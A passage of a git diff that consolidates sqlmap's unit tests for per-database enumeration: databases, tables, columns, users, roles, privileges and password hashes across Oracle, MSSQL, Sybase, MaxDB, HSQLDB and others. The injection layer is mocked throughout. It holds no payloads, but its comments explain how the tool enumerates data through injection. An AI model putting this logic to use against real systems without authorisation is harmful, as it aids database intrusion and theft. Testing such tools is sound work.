(one indexed query per db until a blank value stops it). + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbs = ["master", "model"] + + def gv(query, *a, **k): + # The primary inband query is 'SELECT name FROM master..sysdatabases' + # (no DB_NAME); make it return nothing so getDbs falls into the + # 'SELECT DB_NAME()' paging loop (query2). + if "DB_NAME" not in query: + return None + import re as _re + idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) + return dbs[idx] if idx < len(dbs) else "" + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), ["master", "model"]) + + def test_get_tables_inference_grouped_per_db(self): + # Blind table enumeration: count for the db, then one table name per index. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "shop" + conf.tbl = None + dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) + result = d.getTables() + self.assertIn("shop", result) + self.assertEqual(sorted(result["shop"]), ["items", "orders"]) + + +class TestDatabasesBruteForce(_DbBase): + def test_get_columns_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with + # the common-column-existence prompt answered 'N' it returns None without + # issuing any column query. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + + def boom(*a, **k): + raise AssertionError("bruteForce decline must not query columns") + + dbmod.inject.getValue = boom + result = d.getColumns() + self.assertIsNone(result) + + def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): + # bruteForce + decline + dumpMode + colList: the columns from colList are + # stored with None type (the dump-mode salvage branch), not dropped. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "a,b" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + dbmod.inject.getValue = lambda *a, **k: None + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + self.assertEqual(sorted(cols.keys()), ["a", "b"]) + self.assertIsNone(cols.get("a")) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py index 8188f3c0e6d..dff6a04656b 100644 --- a/tests/test_dbms_enum.py +++ b/tests/test_dbms_enum.py @@ -6,11 +6,19 @@ DBMS-specific enumeration overrides (plugins/dbms//enumeration.py), driven through each full DBMS handler with the injection layer mocked, so the -dialect-specific table/column discovery paths run without a live target. The -in-band (UNION/error/direct) branch is taken via conf.direct=True and -inject.getValue is stubbed with canned result rows. +dialect-specific table/column/user/privilege discovery paths run without a live +target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via +conf.direct=True and inject.getValue is stubbed with canned result rows; +conf.batch=True avoids interactive prompts. + +Consolidated from former tests/test_dbms_enum.py (Microsoft SQL Server), +tests/test_dbms_enum_a.py (Oracle/PostgreSQL/MySQL/SQLite) and +tests/test_dbms_enum_b.py (Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. """ +import importlib import os import sys import unittest @@ -19,11 +27,18 @@ from _testutils import bootstrap, set_dbms bootstrap() +from lib.core.common import Backend from lib.core.data import conf, kb from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject + +# --------------------------------------------------------------------------- +# Base for Microsoft SQL Server getTables (former test_dbms_enum.py) +# --------------------------------------------------------------------------- -class _EnumBase(unittest.TestCase): +class _EnumBaseMSSQL(unittest.TestCase): """Snapshot/restore the global state these enumerators mutate.""" module = None # the enumeration module whose inject.getValue we patch @@ -45,7 +60,7 @@ def tearDown(self): kb.data.cachedColumns = self._cachedColumns -class TestMSSQLServerEnum(_EnumBase): +class TestMSSQLServerEnum(_EnumBaseMSSQL): import plugins.dbms.mssqlserver.enumeration as module def _handler(self): @@ -94,5 +109,614 @@ def getValue(q, *a, **k): self.assertEqual(tables["salesdb"], ["dbo.invoices", "dbo.orders"]) +# --------------------------------------------------------------------------- +# Base for Oracle/PostgreSQL/MySQL/SQLite (former test_dbms_enum_a.py) +# --------------------------------------------------------------------------- + +class _EnumBaseA(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate. + + Other tests in the suite depend on clean globals (a leaked kb.hintValue + breaks test_inference_engine; a leaked forced DBMS breaks others), so every + knob touched here is captured in setUp and put back in tearDown. + """ + + # the enumeration module whose inject.getValue we patch (overridden per DBMS) + module = None + + def setUp(self): + # conf knobs + self._direct = conf.direct + self._batch = conf.batch + self._user = conf.user + self._db = conf.get("db") + self._tbl = conf.get("tbl") + self._exclude = conf.get("exclude") + + # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not + # import inject because their overrides return constants without querying) + self._has_inject = hasattr(self.module, "inject") + if self._has_inject: + self._gv = self.module.inject.getValue + + # kb.data cached* containers + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._cachedDbs = kb.data.get("cachedDbs") + self._cachedUsers = kb.data.get("cachedUsers") + self._cachedUsersRoles = kb.data.get("cachedUsersRoles") + self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") + self._has_information_schema = kb.data.get("has_information_schema") + + # state other tests are sensitive to + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._forcedDbms = Backend.getForcedDbms() + self._stickyDBMS = kb.stickyDBMS + + # avoid readInput EOFError flakiness and interactive prompts + conf.direct = True + conf.batch = True + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.user = self._user + conf.db = self._db + conf.tbl = self._tbl + conf.exclude = self._exclude + + if self._has_inject: + self.module.inject.getValue = self._gv + + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + kb.data.cachedDbs = self._cachedDbs + kb.data.cachedUsers = self._cachedUsers + kb.data.cachedUsersRoles = self._cachedUsersRoles + kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges + kb.data.has_information_schema = self._has_information_schema + + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.stickyDBMS = self._stickyDBMS + if self._forcedDbms is not None: + Backend.forceDbms(self._forcedDbms) + else: + kb.forcedDbms = None + + +class TestOracleEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.oracle.enumeration") + + def _handler(self): + from plugins.dbms.oracle import OracleMap + set_dbms("Oracle") + return OracleMap() + + def test_get_roles(self): + # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] + ] + roles, areAdmins = self._handler().getRoles() + self.assertIn("SYS", roles) + self.assertIn("SCOTT", roles) + self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) + # DBA implies administrator + self.assertIn("SYS", areAdmins) + + def test_get_roles_filtered_by_user(self): + # conf.user populates a WHERE clause; canned rows still drive the parse + conf.user = "SCOTT" + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] + roles, _ = self._handler().getRoles() + self.assertEqual(list(roles.keys()), ["SCOTT"]) + self.assertEqual(roles["SCOTT"], ["RESOURCE"]) + + def test_get_roles_multiple_roles_per_user(self): + # a user appearing across several rows accumulates all granted roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] + ] + roles, _ = self._handler().getRoles() + self.assertEqual( + set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} + ) + + +class TestPostgreSQLEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.postgresql.enumeration") + + def _handler(self): + from plugins.dbms.postgresql import PostgreSQLMap + set_dbms("PostgreSQL") + return PostgreSQLMap() + + def test_get_hostname_unsupported(self): + # PostgreSQL overrides getHostname purely to warn; it returns None + self.assertIsNone(self._handler().getHostname()) + + +class TestMySQLEnum(_EnumBaseA): + # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the + # generic discovery path through the full MySQL handler instead. + module = importlib.import_module("plugins.generic.enumeration") + + def _handler(self): + from plugins.dbms.mysql import MySQLMap + set_dbms("MySQL") + return MySQLMap() + + def test_get_dbs(self): + conf.db = None + kb.data.cachedDbs = [] + kb.data.has_information_schema = True + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT + else [["information_schema"], ["testdb"], ["mysql"]] + ) + dbs = self._handler().getDbs() + self.assertIn("testdb", dbs) + self.assertEqual(set(kb.data.cachedDbs), set(dbs)) + + +class TestSQLiteEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.sqlite.enumeration") + + def _handler(self): + from plugins.dbms.sqlite import SQLiteMap + set_dbms("SQLite") + return SQLiteMap() + + def test_unsupported_simple_overrides(self): + # SQLite overrides these to a warning + an empty/neutral return value + h = self._handler() + self.assertIsNone(h.getCurrentUser()) + self.assertIsNone(h.getCurrentDb()) + self.assertIsNone(h.getHostname()) + self.assertEqual(h.getUsers(), []) + self.assertEqual(h.getDbs(), []) + self.assertEqual(h.searchDb(), []) + self.assertEqual(h.getStatements(), []) + self.assertEqual(h.getPasswordHashes(), {}) + self.assertEqual(h.getPrivileges(), {}) + + def test_is_dba_always_true(self): + # on SQLite the current user is treated as having all privileges + self.assertTrue(self._handler().isDba()) + + def test_search_column_raises(self): + with self.assertRaises(SqlmapUnsupportedFeatureException): + self._handler().searchColumn() + + +# --------------------------------------------------------------------------- +# Base + helpers for Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB +# (former test_dbms_enum_b.py) +# --------------------------------------------------------------------------- + +def _fresh_cached(): + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedUsers = [] + kb.data.cachedUsersPrivileges = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.banner = None + + +class _NoOpDumper(object): + """Swallow every dumper call so search methods don't emit/prompt.""" + + def __getattr__(self, name): + return lambda *a, **k: None + + +def _handler(display_name, dirname): + """Instantiate the full *Map handler for the given DBMS.""" + set_dbms(display_name) + main = importlib.import_module("plugins.dbms.%s" % dirname) + cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + return cls() + + +class _EnumBaseB(unittest.TestCase): + """Snapshot/restore every global these enumerators mutate.""" + + # subclasses set these + display_name = None + dirname = None + + def setUp(self): + # config snapshot + self._direct = conf.direct + self._batch = conf.batch + self._db = conf.db + self._tbl = conf.tbl + self._col = conf.col + self._user = conf.user + self._exclude = conf.exclude + self._search = conf.search + self._getBanner = conf.getBanner + self._excludeSysDbs = conf.excludeSysDbs + self._dumper = conf.get("dumper") + + # kb snapshot + self._cached = {k: kb.data.get(k) for k in ( + "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", + "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", + )} + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._currentDb = kb.data.get("currentDb") + self._hasIS = kb.data.get("has_information_schema") + + # injection layer snapshot + self._gv = inject.getValue + self._cbe = getattr(inject, "checkBooleanExpression", None) + + # baseline config the in-band/non-interactive paths need + conf.direct = True + conf.batch = True + kb.data.has_information_schema = True + _fresh_cached() + + # restore the chosen DBMS for every test + self.handler = _handler(self.display_name, self.dirname) + # the enumeration module whose pivotDumpTable some tests stub + self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.db = self._db + conf.tbl = self._tbl + conf.col = self._col + conf.user = self._user + conf.exclude = self._exclude + conf.search = self._search + conf.getBanner = self._getBanner + conf.excludeSysDbs = self._excludeSysDbs + conf.dumper = self._dumper + + for k, v in self._cached.items(): + kb.data[k] = v + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.data.currentDb = self._currentDb + kb.data.has_information_schema = self._hasIS + + inject.getValue = self._gv + if self._cbe is not None: + inject.checkBooleanExpression = self._cbe + if hasattr(self.em, "pivotDumpTable"): + # restore the pristine reference from the wrapper module + import lib.utils.pivotdumptable as _pdt + self.em.pivotDumpTable = _pdt.pivotDumpTable + + +# --------------------------------------------------------------------------- +# Sybase +# --------------------------------------------------------------------------- + +class TestSybaseEnum(_EnumBaseB): + display_name = "Sybase" + dirname = "sybase" + + def _pivot(self, *value_lists): + """Make em.pivotDumpTable return canned (entries, lengths) per call. + + Each successive call pops the next mapping of {colName: [values]}. + """ + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_users(self): + self._pivot({"name": ["sa", "guest"]}) + users = self.handler.getUsers() + self.assertIn("sa", users) + self.assertIn("guest", users) + + def test_get_dbs(self): + self._pivot({"name": ["master", "model"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["master", "model"]) + + def test_get_tables(self): + conf.db = "testdb" + self._pivot({"name": ["users", "logs"]}) + tables = self.handler.getTables() + self.assertIn("testdb", tables) + self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) + + def test_get_columns(self): + conf.db = "testdb" + conf.tbl = "users" + # column pivot returns name + usertype: REAL Sybase numeric type ids that + # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). + from lib.core.dicts import SYBASE_TYPES + self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) + cols = self.handler.getColumns() + self.assertIn("testdb", cols) + # table key is identifier-normalized (may be schema-qualified) + tbls = cols["testdb"] + self.assertTrue(any("users" in t for t in tbls)) + colset = list(tbls.values())[0] + # the VALUE is the resolved type name, not the raw usertype number: + # proves the SYBASE_TYPES numeric->name mapping actually ran. + self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" + self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" + + def test_get_privileges(self): + # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). + # Drive the admin-set branch BOTH ways via the isDba oracle so the result + # is not forced by a constant-True stub. + conf.user = None + + # oracle True: every user is flagged DBA -> admins == all users + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) # users still enumerated as privilege keys + self.assertIn("guest", privs) + self.assertEqual(admins, set(["sa", "guest"])) + + # oracle False: nobody is a DBA -> admins is empty, but users still listed + _fresh_cached() + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_not_implemented(self): + # these intentionally return [] with a warning on Sybase + self.assertEqual(self.handler.searchDb(), []) + self.assertEqual(self.handler.searchTable(), []) + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_hostname(self): + # not possible on Sybase; just must not raise + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# SAP MaxDB +# --------------------------------------------------------------------------- + +class TestMaxDBEnum(_EnumBaseB): + display_name = "SAP MaxDB" + dirname = "maxdb" + + def _pivot(self, *value_lists): + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_dbs(self): + self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) + + def test_get_tables(self): + conf.db = "SYSTEM" + self._pivot({"tablename": ["USERS", "TABLES"]}) + tables = self.handler.getTables() + # db key is identifier-normalized (uppercase names get quoted) + self.assertEqual(len(tables), 1) + tbls = list(tables.values())[0] + self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) + + def test_get_columns(self): + conf.db = "SYSTEM" + conf.tbl = "USERS" + self._pivot({ + "columnname": ["ID", "NAME"], + "datatype": ["INTEGER", "CHAR"], + "len": ["4", "32"], + }) + cols = self.handler.getColumns() + self.assertEqual(len(cols), 1) + tbls = list(cols.values())[0] + self.assertIn("USERS", tbls) + self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Microsoft SQL Server (methods NOT covered by TestMSSQLServerEnum above) +# --------------------------------------------------------------------------- + +class TestMSSQLServerExtraEnum(_EnumBaseB): + display_name = "Microsoft SQL Server" + dirname = "mssqlserver" + + def test_get_privileges(self): + # getPrivileges -> getUsers (generic, inject.getValue) then isDba. + # Exercise the admin-set branch BOTH ways via the isDba oracle. + conf.user = None + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + + # oracle True: all users flagged DBA + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) + + # oracle False: none are DBA -> empty admin set, users still enumerated + _fresh_cached() + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_table(self): + conf.db = "testdb" + conf.tbl = "users" + # in-band branch: getValue returns matching table name(s) + inject.getValue = lambda q, *a, **k: ["users"] + # capture the discovered tables instead of dumping them + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundTables = lambda tables: captured.update(tables) + self.handler.searchTable() + # at least one database mapped to the matched table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + def test_search_column(self): + conf.db = "testdb" + conf.tbl = None + conf.col = "password" + # exact match (no wildcard) so no recursive getColumns call; + # getValue returns the tables that contain the column + inject.getValue = lambda q, *a, **k: ["users"] + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) + self.handler.searchColumn() + # the searched column was located in at least one table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + +# --------------------------------------------------------------------------- +# IBM DB2 +# --------------------------------------------------------------------------- + +class TestDB2Enum(_EnumBaseB): + display_name = "IBM DB2" + dirname = "db2" + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Informix +# --------------------------------------------------------------------------- + +class TestInformixEnum(_EnumBaseB): + display_name = "Informix" + dirname = "informix" + + def test_search_db(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_search_table(self): + self.assertEqual(self.handler.searchTable(), []) + + def test_search_column(self): + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Firebird +# --------------------------------------------------------------------------- + +class TestFirebirdEnum(_EnumBaseB): + display_name = "Firebird" + dirname = "firebird" + + def test_get_dbs_empty(self): + self.assertEqual(self.handler.getDbs(), []) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_search_db_empty(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# HSQLDB +# --------------------------------------------------------------------------- + +class TestHSQLDBEnum(_EnumBaseB): + display_name = "HSQLDB" + dirname = "hsqldb" + + def test_get_banner(self): + conf.getBanner = True + kb.data.banner = None + # getValue returns a single-element LIST; getBanner pipes it through + # unArrayizeValue, which must unwrap it to the scalar banner string. + inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] + banner = self.handler.getBanner() + self.assertEqual(banner, "HSQLDB 2.5.1") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + def test_get_current_db_default_schema(self): + from lib.core.settings import HSQLDB_DEFAULT_SCHEMA + self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_dbms_enum_a.py b/tests/test_dbms_enum_a.py deleted file mode 100644 index 4c9948fd171..00000000000 --- a/tests/test_dbms_enum_a.py +++ /dev/null @@ -1,215 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -DBMS-specific enumeration overrides for Oracle, PostgreSQL, MySQL and SQLite -(plugins/dbms//enumeration.py), driven through each full DBMS handler with -the injection layer mocked, so the dialect-specific discovery paths run without a -live target. The in-band (UNION/error/direct) branch is taken via conf.direct=True -and inject.getValue is stubbed with canned result rows. - -Companion to tests/test_dbms_enum.py (which covers Microsoft SQL Server). -""" - -import importlib -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.common import Backend -from lib.core.data import conf, kb -from lib.core.enums import EXPECTED -from lib.core.exception import SqlmapUnsupportedFeatureException - - -class _EnumBase(unittest.TestCase): - """Snapshot/restore the global state these enumerators mutate. - - Other tests in the suite depend on clean globals (a leaked kb.hintValue - breaks test_inference_engine; a leaked forced DBMS breaks others), so every - knob touched here is captured in setUp and put back in tearDown. - """ - - # the enumeration module whose inject.getValue we patch (overridden per DBMS) - module = None - - def setUp(self): - # conf knobs - self._direct = conf.direct - self._batch = conf.batch - self._user = conf.user - self._db = conf.get("db") - self._tbl = conf.get("tbl") - self._exclude = conf.get("exclude") - - # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not - # import inject because their overrides return constants without querying) - self._has_inject = hasattr(self.module, "inject") - if self._has_inject: - self._gv = self.module.inject.getValue - - # kb.data cached* containers - self._cachedTables = kb.data.get("cachedTables") - self._cachedColumns = kb.data.get("cachedColumns") - self._cachedDbs = kb.data.get("cachedDbs") - self._cachedUsers = kb.data.get("cachedUsers") - self._cachedUsersRoles = kb.data.get("cachedUsersRoles") - self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") - self._has_information_schema = kb.data.get("has_information_schema") - - # state other tests are sensitive to - self._hintValue = kb.hintValue - self._injectionData = kb.injection.data - self._forcedDbms = Backend.getForcedDbms() - self._stickyDBMS = kb.stickyDBMS - - # avoid readInput EOFError flakiness and interactive prompts - conf.direct = True - conf.batch = True - - def tearDown(self): - conf.direct = self._direct - conf.batch = self._batch - conf.user = self._user - conf.db = self._db - conf.tbl = self._tbl - conf.exclude = self._exclude - - if self._has_inject: - self.module.inject.getValue = self._gv - - kb.data.cachedTables = self._cachedTables - kb.data.cachedColumns = self._cachedColumns - kb.data.cachedDbs = self._cachedDbs - kb.data.cachedUsers = self._cachedUsers - kb.data.cachedUsersRoles = self._cachedUsersRoles - kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges - kb.data.has_information_schema = self._has_information_schema - - kb.hintValue = self._hintValue - kb.injection.data = self._injectionData - kb.stickyDBMS = self._stickyDBMS - if self._forcedDbms is not None: - Backend.forceDbms(self._forcedDbms) - else: - kb.forcedDbms = None - - -class TestOracleEnum(_EnumBase): - module = importlib.import_module("plugins.dbms.oracle.enumeration") - - def _handler(self): - from plugins.dbms.oracle import OracleMap - set_dbms("Oracle") - return OracleMap() - - def test_get_roles(self): - # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles - conf.user = None - kb.data.cachedUsersRoles = {} - self.module.inject.getValue = lambda q, *a, **k: [ - ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] - ] - roles, areAdmins = self._handler().getRoles() - self.assertIn("SYS", roles) - self.assertIn("SCOTT", roles) - self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) - # DBA implies administrator - self.assertIn("SYS", areAdmins) - - def test_get_roles_filtered_by_user(self): - # conf.user populates a WHERE clause; canned rows still drive the parse - conf.user = "SCOTT" - kb.data.cachedUsersRoles = {} - self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] - roles, _ = self._handler().getRoles() - self.assertEqual(list(roles.keys()), ["SCOTT"]) - self.assertEqual(roles["SCOTT"], ["RESOURCE"]) - - def test_get_roles_multiple_roles_per_user(self): - # a user appearing across several rows accumulates all granted roles - conf.user = None - kb.data.cachedUsersRoles = {} - self.module.inject.getValue = lambda q, *a, **k: [ - ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] - ] - roles, _ = self._handler().getRoles() - self.assertEqual( - set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} - ) - - -class TestPostgreSQLEnum(_EnumBase): - module = importlib.import_module("plugins.dbms.postgresql.enumeration") - - def _handler(self): - from plugins.dbms.postgresql import PostgreSQLMap - set_dbms("PostgreSQL") - return PostgreSQLMap() - - def test_get_hostname_unsupported(self): - # PostgreSQL overrides getHostname purely to warn; it returns None - self.assertIsNone(self._handler().getHostname()) - - -class TestMySQLEnum(_EnumBase): - # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the - # generic discovery path through the full MySQL handler instead. - module = importlib.import_module("plugins.generic.enumeration") - - def _handler(self): - from plugins.dbms.mysql import MySQLMap - set_dbms("MySQL") - return MySQLMap() - - def test_get_dbs(self): - conf.db = None - kb.data.cachedDbs = [] - kb.data.has_information_schema = True - self.module.inject.getValue = lambda q, *a, **k: ( - 3 if k.get("expected") == EXPECTED.INT - else [["information_schema"], ["testdb"], ["mysql"]] - ) - dbs = self._handler().getDbs() - self.assertIn("testdb", dbs) - self.assertEqual(set(kb.data.cachedDbs), set(dbs)) - - -class TestSQLiteEnum(_EnumBase): - module = importlib.import_module("plugins.dbms.sqlite.enumeration") - - def _handler(self): - from plugins.dbms.sqlite import SQLiteMap - set_dbms("SQLite") - return SQLiteMap() - - def test_unsupported_simple_overrides(self): - # SQLite overrides these to a warning + an empty/neutral return value - h = self._handler() - self.assertIsNone(h.getCurrentUser()) - self.assertIsNone(h.getCurrentDb()) - self.assertIsNone(h.getHostname()) - self.assertEqual(h.getUsers(), []) - self.assertEqual(h.getDbs(), []) - self.assertEqual(h.searchDb(), []) - self.assertEqual(h.getStatements(), []) - self.assertEqual(h.getPasswordHashes(), {}) - self.assertEqual(h.getPrivileges(), {}) - - def test_is_dba_always_true(self): - # on SQLite the current user is treated as having all privileges - self.assertTrue(self._handler().isDba()) - - def test_search_column_raises(self): - with self.assertRaises(SqlmapUnsupportedFeatureException): - self._handler().searchColumn() - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_dbms_enum_b.py b/tests/test_dbms_enum_b.py deleted file mode 100644 index b0622366d71..00000000000 --- a/tests/test_dbms_enum_b.py +++ /dev/null @@ -1,469 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Second batch of DBMS-specific enumeration override tests (companion to -tests/test_dbms_enum.py, which covers Microsoft SQL Server getTables). - -Each test drives a FULL per-DBMS handler (the *Map class in -plugins/dbms//__init__.py) with the injection layer mocked, so the -dialect-specific table/column/user/privilege discovery paths run without a live -target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via -conf.direct=True; conf.batch=True avoids interactive prompts. - -Covered here: - * Sybase - getUsers, getDbs, getTables, getColumns, getPrivileges, - searchDb/searchTable/searchColumn, getHostname, getStatements - * SAP MaxDB - getDbs, getTables, getColumns, getPrivileges, - getPasswordHashes, getHostname, getStatements - * Microsoft SQL Server - getPrivileges, searchTable, searchColumn - (getTables already covered by test_dbms_enum.py) - * IBM DB2 - getPasswordHashes, getStatements - * Informix - searchDb, searchTable, searchColumn, getStatements - * Firebird - getDbs, getPasswordHashes, searchDb, getHostname, getStatements - * HSQLDB - getBanner, getPrivileges, getHostname, getStatements, - getCurrentDb - -Sybase/MaxDB enumeration goes through lib.utils.pivotdumptable.pivotDumpTable -(imported into the module namespace), so for those we mock that wrapper - it is -part of the same data-retrieval layer - and mock inject.getValue elsewhere. - -stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. -""" - -import importlib -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.data import conf, kb -from lib.core.common import Backend -from lib.core.enums import EXPECTED -from lib.request import inject - - -def _fresh_cached(): - kb.data.cachedDbs = [] - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - kb.data.cachedUsers = [] - kb.data.cachedUsersPrivileges = {} - kb.data.cachedCounts = {} - kb.data.cachedStatements = [] - kb.data.banner = None - - -class _NoOpDumper(object): - """Swallow every dumper call so 